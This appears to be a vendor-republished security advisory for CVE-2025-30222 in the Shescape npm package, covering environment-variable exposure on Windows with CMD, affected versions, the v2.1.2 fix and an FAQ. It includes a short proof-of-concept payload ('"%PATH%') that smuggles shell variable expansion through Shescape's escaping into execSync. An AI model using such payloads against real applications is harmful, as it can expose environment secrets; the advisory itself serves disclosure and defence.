CVE-2025-30222

Shescape has potential environment variable exposure on Windows with CMD

Workarounds

Alternatively, users can remove all instances of % from user input before using Shescape.

References

• Shescape Pull Request #1916
• Shescape commit 0a81f1e
• Shescape release v2.1.2

For more information

• Comment on Pull Request #1916
• Comment on commit 0a81f1e
• Open an issue at https://github.com/ericcornelissen/shescape/issues (New issue > Question)

This impact users of Shescape on Windows that explicitly configure shell: 'cmd.exe' or shell: true using any of quote/quoteAll/escape/escapeAll.

An attacker may be able to get read-only access to environment variables. Example:

import * as cp from "node:child_process";
import { Shescape } from "shescape";

// 1. Prerequisites
const shescape = new Shescape({
    shell: "cmd.exe",
    // Or
    shell: true, // Only if the default shell is CMD
});

// 2. Payload
const payload = '"%PATH%';

// 3. Usage
let escapedPayload;

escapedPayload = shescape.quote(payload);
// Or
escapedPayload = shescape.quoteAll([payload]);
// Or
escapedPayload = shescape.escape(payload);
// Or
escapedPayload = shescape.escapeAll([payload]);

// And (example)
const result = cp.execSync(`echo Hello ${escapedPayload}`, options);

// 4. Impact
console.log(result.toString());
// Outputs "Hello" followed by the contents of the PATH environment variable

For Shescape prior to v2.0.0, the options object must have shell: 'cmd.exe' or shell: undefined and interpolation: true.

Kodem intelligence

Already deployed Kodem?

This bug has been patched in v2.1.2 which you can upgrade to now.

If you are already using v2 of Shescape, no further changes are required. If you are using v1 of Shescape, follow the migration guide to upgrade to v2. There is no plan to release a patch compatible with v1 of Shescape.

1. What is CVE-2025-30222? CVE-2025-30222 is a low-severity security vulnerability in shescape (npm), affecting versions >= 1.7.2, < 2.1.2. It is fixed in 2.1.2.
2. Which versions of shescape are affected by CVE-2025-30222? shescape (npm) versions >= 1.7.2, < 2.1.2 is affected.
3. Is there a fix for CVE-2025-30222? Yes. CVE-2025-30222 is fixed in 2.1.2. Upgrade to this version or later.
4. Is CVE-2025-30222 exploitable, and should I be worried? Whether CVE-2025-30222 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2025-30222 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2025-30222? Upgrade shescape to 2.1.2 or later.

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